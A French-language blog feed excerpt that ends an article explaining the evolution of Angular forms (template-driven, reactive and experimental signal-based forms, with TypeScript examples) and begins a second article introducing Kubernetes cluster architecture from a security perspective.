<li><p>Model = <code>FormControl</code> / <code>FormGroup</code> / <code>FormArray</code></p>
</li>
<li><p>Directive = <code>[formControl]</code>, <code>formControlName</code>, <code>formGroup</code>, etc.</p>
</li>
<li><p>CVA = adaptateur vers le DOM</p>
</li>
</ul>
<p>Examinons un exemple simple de reactive form :</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">import</span> { Component } <span class="hljs-keyword">from</span> <span class="hljs-string">"@angular/core"</span>;
<span class="hljs-keyword">import</span> { FormGroup, FormControl, Validators } <span class="hljs-keyword">from</span> <span class="hljs-string">"@angular/forms"</span>;

<span class="hljs-keyword">export</span> <span class="hljs-keyword">interface</span> User {
  firstName: <span class="hljs-built_in">string</span>;
  lastName: <span class="hljs-built_in">string</span>;
}

<span class="hljs-meta">@Component</span>({
  selector: <span class="hljs-string">"my-app"</span>,
  template:<span class="hljs-string">`
    &lt;h1&gt;Reactive Forms&lt;/h1&gt;
    &lt;form [formGroup]="userForm"&gt;
      &lt;input formControlName="firstName"/&gt;
      &lt;input formControlName="lastName"/&gt;
      &lt;button type="button" (click)="submit()"&gt;Submit&lt;/button&gt;
    &lt;/form&gt;
    &lt;h3&gt;Form value&lt;/h3&gt;
    {{ userForm.value | json }}

    &lt;h3&gt;Form states&lt;/h3&gt;
    &lt;p&gt;Valid: {{ userForm.valid }}&lt;/p&gt;
    &lt;p&gt;Pristine: {{ userForm.pristine }}&lt;/p&gt;
    &lt;p&gt;Touched: {{ userForm.touched }}&lt;/p&gt;
    &lt;p&gt;First name valid: {{ firstNameControl.valid }}&lt;/p&gt;
    &lt;p&gt;First name invalid: {{ firstNameControl.invalid }}&lt;/p&gt;
    &lt;p&gt;Last name valid: {{ lastNameControl.valid }}&lt;/p&gt;
    &lt;p&gt;Last name invalid: {{ lastNameControl.invalid }}&lt;/p&gt;`</span>
  styleUrls: [<span class="hljs-string">"./app.component.css"</span>]
})
<span class="hljs-keyword">export</span> <span class="hljs-keyword">class</span> AppComponent {
  userForm: FormGroup = <span class="hljs-keyword">new</span> FormGroup({
    firstName: <span class="hljs-keyword">new</span> FormControl(<span class="hljs-string">'Jane'</span>, Validators.required),
    lastName: <span class="hljs-keyword">new</span> FormControl(<span class="hljs-string">'Black'</span>, Validators.required)
  });

  get firstNameControl() {
    <span class="hljs-keyword">return</span> <span class="hljs-built_in">this</span>.userForm.get(<span class="hljs-string">'firstName'</span>) <span class="hljs-keyword">as</span> FormControl;
  }

  get lastNameControl() {
    <span class="hljs-keyword">return</span> <span class="hljs-built_in">this</span>.userForm.get(<span class="hljs-string">'lastName'</span>) <span class="hljs-keyword">as</span> FormControl;
  }

  submit() {
    <span class="hljs-keyword">const</span> user: User = <span class="hljs-built_in">this</span>.userForm.value;
    alert(<span class="hljs-string">`
      Form submitted
      with lastName <span class="hljs-subst">${user.lastName}</span>
      and firstName <span class="hljs-subst">${user.firstName}</span>
    `</span>);
  }
}
</code></pre>
<p>Le formulaire est désormais défini dans notre classe. La validité des contrôles peut être gérée de manière programmatique et la séparation entre la classe qui définit le formulaire et la vue, qui se contente de l’affichage, est claire.</p>
<p>Nous pouvons définir des fonctions getter en utilisant <code>.get</code> pour obtenir les valeurs de nos contrôles.<br />Comme les reactive forms étendent <code>AbstractControl</code>, nous avons accès à son API pour gérer et lire les valeurs ainsi que la validité de nos contrôles.</p>
<p>Rappelons-nous de certaines fonctionnalités ici :</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">abstract</span> <span class="hljs-keyword">class</span> AbstractControl&lt;TValue = <span class="hljs-built_in">any</span>, TRawValue <span class="hljs-keyword">extends</span> TValue = TValue, TValueWithOptionalControlStates = <span class="hljs-built_in">any</span>&gt; {
  <span class="hljs-keyword">constructor</span>(<span class="hljs-params">validators: ValidatorFn | ValidatorFn[] | <span class="hljs-literal">null</span>, asyncValidators: AsyncValidatorFn | AsyncValidatorFn[] | <span class="hljs-literal">null</span></span>): AbstractControl&lt;TValue, TRawValue, TValueWithOptionalControlStates&gt;;
  <span class="hljs-keyword">readonly</span> parent: FormGroup&lt;<span class="hljs-built_in">any</span>&gt; | FormArray&lt;<span class="hljs-built_in">any</span>&gt; | <span class="hljs-literal">null</span>;
  <span class="hljs-keyword">readonly</span> valid: <span class="hljs-built_in">boolean</span>;
  <span class="hljs-keyword">readonly</span> invalid: <span class="hljs-built_in">boolean</span>;
  <span class="hljs-keyword">readonly</span> disabled: <span class="hljs-built_in">boolean</span>;
  <span class="hljs-keyword">readonly</span> enabled: <span class="hljs-built_in">boolean</span>;
  <span class="hljs-keyword">readonly</span> pristine: <span class="hljs-built_in">boolean</span>;
  <span class="hljs-keyword">readonly</span> dirty: <span class="hljs-built_in">boolean</span>;
  <span class="hljs-keyword">readonly</span> touched: <span class="hljs-built_in">boolean</span>;
  <span class="hljs-keyword">readonly</span> untouched: <span class="hljs-built_in">boolean</span>;
  <span class="hljs-keyword">readonly</span> valueChanges: Observable&lt;TValue&gt;;
  <span class="hljs-keyword">readonly</span> statusChanges: Observable&lt;FormControlStatus&gt;;
}
</code></pre>
<p>Même si elles sont explicites, typées, testables et prévisibles, les reactive forms demandent également plus de boilerplate, car nous devons créer explicitement chaque contrôle dans la classe et le connecter au template. De plus, la dépendance à RxJS ajoute une complexité supplémentaire, et nous devons lire les valeurs explicitement via <code>.value</code> ou nous abonner aux changements. Elles stockent toujours le <em>state</em> du formulaire dans <code>AbstractControl</code>.</p>
<p>Même si la séparation entre la définition de la classe et la vue est plus claire, les reactive forms dépendent encore du CVA.</p>
<p><code>formControl -&gt; CVA -&gt; DOM</code></p>
<p>Cela signifie qu’un seul élément contrôle non seulement la lecture et l’écriture de la valeur, mais aussi l’enregistrement de l’état d’interaction avec <code>onChange</code> et <code>onTouched</code>. De plus, il est indirectement responsable de l’intégration de la validation, car c’est le CVA qui enregistre les callbacks déclenchant les mises à jour de valeur et d’état touché.</p>
<p>Les <strong>reactive forms</strong> déplacent la responsabilité du formulaire vers la classe, avec un modèle explicite défini via <code>FormControl</code>, <code>FormGroup</code> ou <code>FormArray</code>, tandis que le template se contente de l’affichage. Elles offrent une réactivité fine, des valeurs et états consultables via des observables (<code>valueChanges</code>, <code>statusChanges</code>) et une séparation claire entre modèle et vue, rendant tests et validation plus prévisibles. Cependant, elles demandent plus de code et reposent toujours sur le <strong>ControlValueAccessor</strong> pour gérer l’intégration avec le DOM et la validation, ce qui peut les rendre parfois difficiles à personnaliser et à déboguer.</p>
<h3 id="heading-futur-de-la-gestion-des-formulaires-angular-les-signal-based-forms">Futur de la gestion des formulaires Angular : les Signal based forms</h3>
<p>Poursuivant son orientation vers une gestion de <em>state</em> plus fine et plus réactive, Angular a introduit fin 2025 les signal based forms. L’introduction des signal based forms permet de résoudre le problème de surcharge cognitive et de code boilerplate tout en conservant l’abstraction côté modèle. Ainsi, au lieu de <code>FormControl</code>, <code>FormGroup</code> et <code>FormArray</code>, nous pouvons maintenant utiliser <code>signal()</code> et <code>computed()</code> pour obtenir un <em>state</em> réactif fin.</p>
<p>La réactivité est automatique : il n’est plus nécessaire de s’abonner explicitement avec <code>valueChanges</code> ou d’utiliser des async pipes, et les validations du formulaire sont auto-calculées et plus simples à gérer.</p>
<p>Les signals, introduits pour la première fois en 2023, permettent de définir le <em>state</em> du formulaire en utilisant des signals via des fonctions comme <code>form()</code> et d’accéder aux signals de chaque champ individuel pour des mises à jour, validations et bindings dans le template plus fins. Ils réduisent considérablement le besoin de connecter manuellement vos inputs et diminuent la quantité de code nécessaire pour que tout fonctionne.</p>
<p>Voyons un exemple de signal based form :</p>
<pre><code class="lang-typescript">
<span class="hljs-keyword">import</span> {Component, signal, ChangeDetectionStrategy} <span class="hljs-keyword">from</span> <span class="hljs-string">'@angular/core'</span>;
<span class="hljs-keyword">import</span> {form, Field} <span class="hljs-keyword">from</span> <span class="hljs-string">'@angular/forms/signals'</span>;
<span class="hljs-keyword">interface</span> UserForm {
  firstName: <span class="hljs-built_in">string</span>;
  lastName: <span class="hljs-built_in">string</span>;
  nicknames: <span class="hljs-built_in">string</span>[];
}
<span class="hljs-meta">@Component</span>({
   selector: <span class="hljs-string">'my-app'</span>,
  templateUrl: <span class="hljs-string">`&lt;form&gt;
    &lt;label&gt; First name
        &lt;input [field]="loginForm.firstName" /&gt;
      &lt;/label&gt;
    &lt;label&gt; Last name
      &lt;input [field]="loginForm.lastName" /&gt;
      &lt;/label&gt;
&lt;/form&gt;
&lt;p&gt;Model&lt;/p&gt;
&lt;pre&gt;{{ userFormModel() | json }}&lt;/pre&gt;
&lt;!-- {
  "firstName": "",
  "lastName": ""
} --&gt;
&lt;pre&gt;{{ loginForm | json }}&lt;/pre&gt;
&lt;!-- we can't get values --&gt;
&lt;/form&gt;`</span>,
  imports: [Field],
})
<span class="hljs-keyword">export</span> <span class="hljs-keyword">class</span> App {
<span class="hljs-comment">// source of the truth</span>
  userFormModel = signal&lt;UserForm&gt;({
    firstName: <span class="hljs-string">''</span>,
    lastName: <span class="hljs-string">''</span>,
    nicknames: [<span class="hljs-string">'bob'</span>, <span class="hljs-string">'bob1'</span>, <span class="hljs-string">'bob2'</span>]
  });

  <span class="hljs-comment">// form metadata + validation</span>
  loginForm = form(<span class="hljs-built_in">this</span>.userFormModel);
}
</code></pre>
<p>Nous voyons apparaître de nouvelles fonctions à notre disposition, comme <code>form()</code>. Comprenons comment cela fonctionne.</p>
<p>L’API ressemble à ceci :</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">declare</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">form</span>&lt;<span class="hljs-title">TModel</span>&gt;(<span class="hljs-params">model: WritableSignal&lt;TModel&gt;</span>): <span class="hljs-title">FieldTree</span>&lt;<span class="hljs-title">TModel</span>&gt;</span>;
</code></pre>
<p>Ainsi, <code>form()</code> est une fonction à laquelle nous pouvons passer un modèle et qui nous renvoie un <code>FieldTree</code> de ce modèle. <code>TModel</code> est notre modèle, dans notre cas <code>UserForm</code>. <code>WritableSignal(TModel)</code> est la <em>source de vérité</em> pour les valeurs du formulaire. <code>form()</code> ne stocke pas les valeurs : il se lie simplement au signal, et c’est le signal qui possède les données. Le formulaire est uniquement responsable de la validation de la structure et des métadonnées.</p>
<p>C’est pourquoi nous ne pouvons pas lire les valeurs depuis <code>loginForm</code>, mais devons les lire depuis le signal <code>userFormModel</code>.</p>
<p>C’est dans <code>FieldTree</code> que la « magie » du formulaire se produit :</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> FieldTree&lt;TModel, TKey <span class="hljs-keyword">extends</span> <span class="hljs-built_in">string</span> | <span class="hljs-built_in">number</span> = <span class="hljs-built_in">string</span> | <span class="hljs-built_in">number</span>&gt; = (<span class="hljs-function">() =&gt;</span> 
[TModel] <span class="hljs-keyword">extends</span> [AbstractControl] ? CompatFieldState&lt;TModel, TKey&gt; : FieldState&lt;TModel, TKey&gt;) 
&amp; 
([TModel] <span class="hljs-keyword">extends</span> [AbstractControl] ? <span class="hljs-built_in">object</span> : [TModel] <span class="hljs-keyword">extends</span> [<span class="hljs-built_in">Array</span>&lt;infer U&gt;] ? ReadonlyArrayLike&lt;MaybeFieldTree&lt;U, <span class="hljs-built_in">number</span>&gt;&gt; : 
TModel <span class="hljs-keyword">extends</span> Record&lt;<span class="hljs-built_in">string</span>, <span class="hljs-built_in">any</span>&gt; ? Subfields&lt;TModel&gt; : <span class="hljs-built_in">object</span>);
</code></pre>
<p>Comme nous pouvons le voir, un <code>fieldTree</code> comporte à nouveau deux parties. Il agit à la fois comme une fonction qui renvoie le <em>state</em> d’un champ particulier, et comme un objet/array qui reflète la structure du modèle que nous lui avons passé.</p>
<p>La partie callable nous permet d’écrire quelque chose comme ceci :</p>
<pre><code class="lang-typescript">loginForm()
loginForm.firstName()
</code></pre>
<p>Mais <code>loginForm.firstName</code> nous renverra le <em>state</em> du champ avec ses méthodes <code>value()</code>, <code>valid()</code>, <code>touched()</code>, etc. Si nous voulons obtenir la valeur, nous devons soit appeler le signal du modèle (<code>signalModel</code>), soit utiliser les valeurs du signal via <code>form()</code>.</p>
<pre><code class="lang-js">{{ loginForm.firstName() }} <span class="hljs-comment">// will give field state</span>
{{ loginForm.firstName().value() }}  <span class="hljs-comment">// will give value</span>
</code></pre>
<p>La partie callable confirme le fait que les Angular signals sont, dans leur essence, des fonctions. Cela nous permet de lire le <em>state</em> du formulaire de manière réactive, et le fait de l’appeler renvoie les métadonnées, et non les valeurs (à moins d’appeler <code>value()</code>, bien sûr).</p>
<p>La deuxième partie est la « partie contrat » qui indique à notre <code>FieldTree</code> de refléter la structure du modèle. Elle étend <code>[AbstractControl]</code> pour être compatible avec les formulaires Angular legacy, mais elle étend également les tableaux, objets et primitives :</p>
<pre><code class="lang-js">&amp; (
  TModel <span class="hljs-keyword">extends</span> <span class="hljs-built_in">Array</span>
  | <span class="hljs-built_in">Object</span>
  | Primitive
)
</code></pre>
<p>Si notre modèle est un tableau, le formulaire devient :</p>
<pre><code class="lang-typescript">{{ loginForm.nicknames().value() }} <span class="hljs-comment">// 'bob', 'bob1', 'bob2'</span>
{{ loginForm.nicknames().value()[<span class="hljs-number">0</span>] }} <span class="hljs-comment">// bob</span>
</code></pre>
<p>Et pour nos objets :</p>
<pre><code class="lang-typescript">TModel <span class="hljs-keyword">extends</span> Record&lt;<span class="hljs-built_in">string</span>, <span class="hljs-built_in">any</span>&gt;
  ? Subfields&lt;TModel&gt;
</code></pre>
<p>Ce qui signifie :</p>
<pre><code class="lang-typescript">FieldTree&lt;UserForm&gt; ≈ {
  firstName: FieldTree&lt;<span class="hljs-built_in">string</span>&gt;; 
  lastName: FieldTree&lt;<span class="hljs-built_in">string</span>&gt;;
}
</code></pre>
<p>Ainsi, chaque clé d’objet devient un <code>FieldTree</code> contenant toutes les métadonnées et signatures de type. Contrairement aux reactive forms où l’on peut appeler <code>.value</code>, ici <code>.value</code> est supprimé car ce n’est pas réactif et, techniquement, cela aurait permis d’avoir deux sources de vérité.</p>
<p>Plus tôt dans l’article, nous avons expliqué qu’avec les reactive forms, on observe une séparation plus claire entre modèle et vue. Le modèle (<code>AbstractControl</code>) vit dans la classe et, côté vue, nous avons une directive. Le <code>ControlValueAccessor</code> servait de pont entre les deux.</p>
<p>Les formulaires basés sur les <em>signals</em> n’utilisent pas <strong>FormControl</strong>, <strong>ngModel</strong>, ni l’ancienne API des formulaires — contrairement aux versions anciennes d’Angular qui reposaient toujours sur <strong>ControlValueAccessor</strong>.<br />Les <em>signals</em> ne dépendent pas de <strong>ControlValueAccessor</strong>, car le signal contient la valeur et le <em>FieldTree</em> contient les métadonnées du formulaire. Les signals assurent un suivi automatique des dépendances : lorsqu’un signal change, Angular sait quoi mettre à jour. Il s’agit d’une réactivité fine qui fait vraiment briller les signals. Les inputs personnalisés, au lieu d’implémenter CVA, se contentent de lier les signals.</p>
<p>Presque tous les développeurs Angular ont eu besoin d’écrire des inputs personnalisés. Avec les reactive forms, nous devions faire quelque chose comme ceci :</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">import</span> { Component, forwardRef } <span class="hljs-keyword">from</span> <span class="hljs-string">'@angular/core'</span>;
<span class="hljs-keyword">import</span> { ControlValueAccessor, NG_VALUE_ACCESSOR } <span class="hljs-keyword">from</span> <span class="hljs-string">'@angular/forms'</span>;

<span class="hljs-meta">@Component</span>({
  selector: <span class="hljs-string">'custom-input'</span>,
  template: <span class="hljs-string">``</span>,
  providers: [
    {
      provide: NG_VALUE_ACCESSOR,
      useExisting: forwardRef(<span class="hljs-function">() =&gt;</span> CustomInputComponent),
      multi: <span class="hljs-literal">true</span>,
    },
  ],
})
<span class="hljs-keyword">export</span> <span class="hljs-keyword">class</span> CustomInputComponent <span class="hljs-keyword">implements</span> ControlValueAccessor {
  <span class="hljs-keyword">private</span> onChange = <span class="hljs-function">(<span class="hljs-params">value: <span class="hljs-built_in">number</span></span>) =&gt;</span> {};

  <span class="hljs-keyword">private</span> onTouched = <span class="hljs-function">() =&gt;</span> {};

  writeValue(value: <span class="hljs-built_in">number</span>): <span class="hljs-built_in">void</span> {
    <span class="hljs-built_in">this</span>.value = value ?? <span class="hljs-number">0</span>;
  }

  registerOnChange(fn: <span class="hljs-function">(<span class="hljs-params">value: <span class="hljs-built_in">number</span></span>) =&gt;</span> <span class="hljs-built_in">void</span>): <span class="hljs-built_in">void</span> {
    <span class="hljs-built_in">this</span>.onChange = fn;
  }

  registerOnTouched(fn: <span class="hljs-function">() =&gt;</span> <span class="hljs-built_in">void</span>): <span class="hljs-built_in">void</span> {
    <span class="hljs-built_in">this</span>.onTouched = fn;
  }

  setValue(value: <span class="hljs-built_in">number</span>) {
    <span class="hljs-built_in">this</span>.value = value;
    <span class="hljs-built_in">this</span>.onChange(value);
    <span class="hljs-built_in">this</span>.onTouched();   
  }
}
</code></pre>
<p>On voit que nous devions gérer la lecture, l’écriture et les scénarios d’interaction. Il fallait également implémenter <code>ControlValueAccessor</code>, utiliser <code>forwardRef</code>, etc.</p>
<p>Avec les signal forms et <code>FormValueAccessor</code>, on peut observer le même processus beaucoup plus simplifié :</p>
<pre><code class="lang-js"><span class="hljs-keyword">import</span> { Component, model } <span class="hljs-keyword">from</span> <span class="hljs-string">'@angular/core'</span>;  
<span class="hljs-keyword">import</span> { FormValueControl } <span class="hljs-keyword">from</span> <span class="hljs-string">'@angular/forms'</span>;  
@Component({  
<span class="hljs-attr">selector</span>: <span class="hljs-string">'app-custom-input'</span>,  
<span class="hljs-attr">template</span>: <span class="hljs-string">``</span>  
})  
<span class="hljs-keyword">export</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">CustomInputComponent</span> <span class="hljs-title">implements</span> <span class="hljs-title">FormValueControl</span>&lt;<span class="hljs-title">number</span>&gt; </span>{  
    value = model&lt;number&gt;(<span class="hljs-number">0</span>);
    <span class="hljs-keyword">const</span> touched = signal(<span class="hljs-literal">false</span>);

    select(value: number): <span class="hljs-keyword">void</span> {  
        <span class="hljs-built_in">this</span>.value.set(rating);
    }  
}
</code></pre>
<p>C’est en réalité ce que les signals changent dans leur cœur.</p>
<p>Les <strong>signal based forms</strong> utilisent des <code>signal()</code> et <code>computed()</code> pour un state réactif, sans avoir besoin de <code>FormControl</code> ni de <code>ControlValueAccessor</code>. Les validations et mises à jour se propagent automatiquement, et chaque champ fournit ses métadonnées via <code>FieldTree</code>. Cette approche réduit le boilerplate et sépare clairement lecture, écriture et suivi des états d’interaction. Grâce aux signals, on observe une distinction nette entre la lecture et l’écriture des valeurs et l’enregistrement des états d’interaction, ce qui rend les signal forms particulièrement efficaces pour la validation des formulaires.</p>
<h3 id="heading-gestion-des-erreurs-dans-les-signal-forms">Gestion des erreurs dans les signal forms</h3>
<p>La réactivité, la séparation plus claire entre lecture et écriture, ainsi que l’accès facile aux valeurs calculées sont particulièrement utiles pour la validation des formulaires et la gestion des erreurs. La réactivité fine signifie que chaque champ signal se met à jour de manière indépendante. Le code est plus simple, plus facile à écrire et à maintenir, et il est beaucoup plus facile de désactiver les boutons de soumission.</p>
<p>Considérez le code suivant :</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">import</span> { Component, signal, ChangeDetectionStrategy, computed } <span class="hljs-keyword">from</span> <span class="hljs-string">'@angular/core'</span>;
<span class="hljs-keyword">import</span> {
  email,
  form,
  FormField,
  min,
  validate,
} <span class="hljs-keyword">from</span> <span class="hljs-string">'@angular/forms/signals'</span>;

<span class="hljs-keyword">interface</span> LoginData {
  email: <span class="hljs-built_in">string</span>;
  password: <span class="hljs-built_in">string</span>;
  confirmPassword: <span class="hljs-built_in">string</span>;
  age: <span class="hljs-built_in">number</span>;
}

<span class="hljs-meta">@Component</span>({
  selector: <span class="hljs-string">'app-root'</span>,
  templateUrl: <span class="hljs-string">'
&lt;form style="display: flex; flex-direction: column; gap: 10px;"&gt;
  &lt;label&gt;
    Email:
    &lt;input type="email" [formField]="loginForm.email" /&gt;
  &lt;/label&gt;
  &lt;label&gt;
    Password:
    &lt;input type="password" [formField]="loginForm.password" /&gt;
  &lt;/label&gt;
  &lt;label&gt;
    Confirm Password
    &lt;input [formField]="loginForm.confirmPassword" id=""&gt;
  &lt;/label&gt;
  &lt;label&gt;
    Age
    &lt;input [formField]="loginForm.age" type="number" id=""&gt;
  &lt;/label&gt;
  &lt;button (click)="submit()" style="max-width: fit-content;"&gt;Submit&lt;/button&gt;
  &lt;div class="error-list"&gt;
    &lt;div&gt;
      @for (error of loginForm.password().errors(); track error) {
      &lt;p&gt;{{ error.message }}&lt;/p&gt;
      }
    &lt;/div&gt;
    &lt;div class="error-list"&gt;
      @for (error of loginForm.email().errors(); track error) {
      &lt;p&gt;{{ error.message }}&lt;/p&gt;
      }
    &lt;/div&gt;
    &lt;div class="error-list"&gt;
      @for (error of loginForm.age().errors(); track error) {
      &lt;p&gt;{{ error.message }}&lt;/p&gt;
      }
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="error-list"&gt;
    @for (error of loginForm.confirmPassword().errors(); track error) {
    &lt;p&gt;{{ error.message }}&lt;/p&gt;
    }
    &lt;div class="error-list"&gt;
      &lt;p&gt; {{passwordStrength()}}&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/form&gt;
'</span>,
  styleUrl: <span class="hljs-string">'./app.css'</span>,
  imports: [FormField],
})
<span class="hljs-keyword">export</span> <span class="hljs-keyword">class</span> App {
  <span class="hljs-keyword">protected</span> <span class="hljs-keyword">readonly</span> title = signal(<span class="hljs-string">'signals'</span>);

  loginModel = signal&lt;LoginData&gt;({
    email: <span class="hljs-string">''</span>,
    password: <span class="hljs-string">''</span>,
    confirmPassword: <span class="hljs-string">''</span>,
    age: <span class="hljs-number">0</span>,
  });

  loginForm = form(<span class="hljs-built_in">this</span>.loginModel, <span class="hljs-function">(<span class="hljs-params">s</span>) =&gt;</span> {
    email(s.email, { message: <span class="hljs-string">'Email is needs to be valid'</span> });
    min(s.age, <span class="hljs-number">18</span>, { message: <span class="hljs-string">'Age needs to be more than 18'</span> });
    validate(s.confirmPassword, <span class="hljs-function">(<span class="hljs-params">{ value, valueOf }</span>) =&gt;</span> {
      <span class="hljs-keyword">const</span> confirmPassword = value(); 
      <span class="hljs-keyword">const</span> password = valueOf(s.password);
      <span class="hljs-keyword">if</span> (confirmPassword !== password) {
        <span class="hljs-keyword">return</span> {
          kind: <span class="hljs-string">"error"</span>,
          message: <span class="hljs-string">'Passwords do not match'</span>,
        };
      }
      <span class="hljs-keyword">return</span> <span class="hljs-literal">null</span>;
    });
  });

  passwordStrength = computed(<span class="hljs-function">() =&gt;</span> {
    <span class="hljs-keyword">const</span> password = <span class="hljs-built_in">this</span>.loginForm.password().value();
    <span class="hljs-keyword">const</span> touched = <span class="hljs-built_in">this</span>.loginForm.password().dirty();
    <span class="hljs-keyword">if</span> (password.length &lt; <span class="hljs-number">8</span> &amp;&amp; touched) <span class="hljs-keyword">return</span> <span class="hljs-string">'weak'</span>;
    <span class="hljs-keyword">if</span> (password.length &lt;= <span class="hljs-number">12</span> &amp;&amp; touched) <span class="hljs-keyword">return</span> <span class="hljs-string">'medium'</span>;
    <span class="hljs-keyword">if</span> (password.length &gt;= <span class="hljs-number">12</span> &amp;&amp; touched) <span class="hljs-keyword">return</span> <span class="hljs-string">'strong'</span>;
    <span class="hljs-keyword">return</span> <span class="hljs-string">''</span>;
  });
}
</code></pre>
<p>Dans cet exemple, on peut voir la nouvelle API des formulaires basés sur les signals en action, où tout le formulaire est réactif sans utiliser <code>FormGroup</code> traditionnel. Les signals ne suppriment pas la validation ni la logique du formulaire : ils déplacent simplement la responsabilité vers des primitives plus “fines”, permettant un contrôle plus précis et réactif sur chaque champ.</p>
<p>Le signal <code>loginModel</code> contient l’état du formulaire, et la fonction <code>form()</code> lui ajoute des règles de validation comme <code>email()</code>, <code>min()</code>, ainsi qu’une validation personnalisée avec <code>validate()</code> pour vérifier que les mots de passe correspondent. Le <code>loginForm()</code> retourné est lui-même un signal, ce qui signifie qu’il fournit des métadonnées réactives sur tout le formulaire — comme la validité, les erreurs, l’état dirty et les valeurs. Grâce à cela, on peut facilement contrôler le bouton Submit avec <code>[disabled]="!loginForm().valid()"</code>. Dès que le formulaire est invalide, le bouton est désactivé automatiquement, et il se réactive immédiatement lorsque tout devient valide.</p>
<p>Des messages d’erreur s’affichent lorsque les règles de validation ne sont pas respectées (par exemple : email invalide, âge inférieur à 18, mot de passe trop court ou mots de passe différents). Dès que l’utilisateur corrige la saisie, les erreurs disparaissent automatiquement car les signals recalculent immédiatement l’état. Le signal calculé <code>passwordStrength</code> réagit aussi aux changements du mot de passe et met à jour la force en temps réel.</p>
<h3 id="heading-vers-lavenir-des-formulaires-angular">Vers l’avenir des formulaires Angular</h3>
<p>L’évolution des formulaires dans Angular illustre un déplacement progressif de la responsabilité du state :</p>
<p>Avec les <strong>template-driven forms</strong>, le template pilote la logique et la validation. Le two-way binding implicite via <code>ngModel</code> et <code>ngForm</code> rend l’implémentation simple, mais la réactivité est limitée et le contrôle programmatique moins précis.</p>
<p>Les <strong>reactive forms</strong> déplacent le modèle dans la classe, avec des <code>FormControl</code>, <code>FormGroup</code> et <code>FormArray</code>. Cette approche offre une séparation claire entre modèle et vue, une réactivité fine via les observables <code>valueChanges</code> et <code>statusChanges</code>, et un contrôle programmatique complet. Cependant, elles demandent plus de code et reposent toujours sur le <code>ControlValueAccessor</code>, ce qui peut rendre la personnalisation et le débogage plus complexes.</p>
<p>Les <strong>signal forms</strong>, quant à elles, introduisent un state réactif fin-grained via <code>signal()</code> et <code>computed()</code>, sans nécessiter de <code>FormControl</code> ni de <code>ControlValueAccessor</code>. Chaque champ fournit ses métadonnées via <code>FieldTree</code>, et les validations ainsi que la propagation des valeurs sont automatiques. Les signal forms réduisent le boilerplate, séparent clairement lecture, écriture et suivi des états d’interaction, et rendent la gestion des erreurs et des boutons de soumission réactive et intuitive.</p>
<p>Cette évolution montre une direction claire : Angular se dirige vers des formulaires plus réactifs, plus simples à maintenir et plus précis dans le suivi des états. <strong>Cependant, les signal forms restent expérimentales</strong> : leur API est encore jeune et susceptible d’évoluer. Avant de les utiliser dans des projets critiques, il est essentiel de comprendre ces limites et de suivre la documentation officielle (<a target="_blank" href="https://angular.dev/essentials/signal-forms">Signal Forms – Angular</a>).</p>
<p>Aujourd’hui, on peut voir la direction que prend Angular moderne : les signal forms représentent une étape prometteuse pour la gestion des formulaires, combinant réactivité fine, contrôle programmatique clair et simplification du code.</p>
<p>Documentation Angular Signal Forms : <a target="_blank" href="https://angular.dev/essentials/signal-forms">https://angular.dev/essentials/signal-forms</a></p>
<p>Article intéressant qui parle de <code>formValueAccessor</code> vs <code>ControlValueAccessor</code> : <a target="_blank" href="https://javascript.plainenglish.io/controlvalueaccessor-is-dead-long-live-formvaluecontrol-4cf2e30a4fb0">https://javascript.plainenglish.io/controlvalueaccessor-is-dead-long-live-formvaluecontrol-4cf2e30a4fb0</a></p>
<p>L’image: Photo de <a target="_blank" href="https://unsplash.com/fr/@linussandvide?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Linus Sandvide</a> sur <a target="_blank" href="https://unsplash.com/fr/photos/homme-debout-tenant-une-fusee-eclairante-allumee-pendant-la-journee-RNQ-ofADZvo?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></p>
]]></content:encoded></item><item><title><![CDATA[Introduction à la sécurité d’un cluster Kubernetes (1/2)]]></title><description><![CDATA[Kubernetes est une technologie d’orchestration de conteneurs, aussi efficace que complexe à maîtriser. Après un déploiement, le cluster est parfois laissé en l’état, sans mesures de sécurité concrètes ni dispositifs de prévention des risques. Cependa...]]></description><link>https://niji.tech/introduction-a-la-securite-dun-cluster-kubernetes-12</link><guid isPermaLink="true">https://niji.tech/introduction-a-la-securite-dun-cluster-kubernetes-12</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[Kubernetes]]></category><dc:creator><![CDATA[Marc LE PECH]]></dc:creator><pubDate>Tue, 10 Feb 2026 13:18:33 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1761646638514/b9ba8b1b-8547-431d-b26c-b0d3f905754a.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Kubernetes est une technologie d’orchestration de conteneurs, aussi efficace que complexe à maîtriser. Après un déploiement, le cluster est parfois laissé en l’état, sans mesures de sécurité concrètes ni dispositifs de prévention des risques. Cependant, l’absence de sécurisation peut avoir des conséquences dramatiques, pouvant dans les pires cas permettre à un attaquant de prendre le contrôle du cluster, voire de se latéraliser sur le réseau interne de l’entreprise.</p>
<p>Dans ce premier article consacré à la présentation d’un cluster Kubernetes sous le prisme de la cybersécurité, nous commençons par décrire son architecture globale afin de mieux comprendre les enjeux de sécurité qui y sont liés. L’objectif est d’apporter une compréhension générale du fonctionnement du cluster, avec une mise en avant des composants présentant les risques et enjeux principaux.</p>
<h2 id="heading-architecture-dun-cluster-kubernetes">Architecture d’un cluster Kubernetes</h2>
<p>Bien que complexe, un cluster Kubernetes peut tout de même se résumer à <strong>un groupe de machines qui travaillent ensemble pour exécuter des applications</strong>. Chaque machine s’appelle un nœud.</p>
<p>Kubernetes organise ces nœuds en deux rôles principaux :</p>
<ul>
<li><p>🧠 <strong>Le nœud maître</strong> (ou master node) porte le plan de contrôle. Celui-ci pilote le cluster. Il expose l’API, décide où lancer les applications et garde la vue d’ensemble de l’état du cluster.</p>
</li>
<li><p>👷 <strong>Le nœud de travail</strong> (ou worker node). Il exécute les applications et héberge les pods. Il suit les instructions du master, puis lui remonte ce qui se passe.</p>
</li>
</ul>
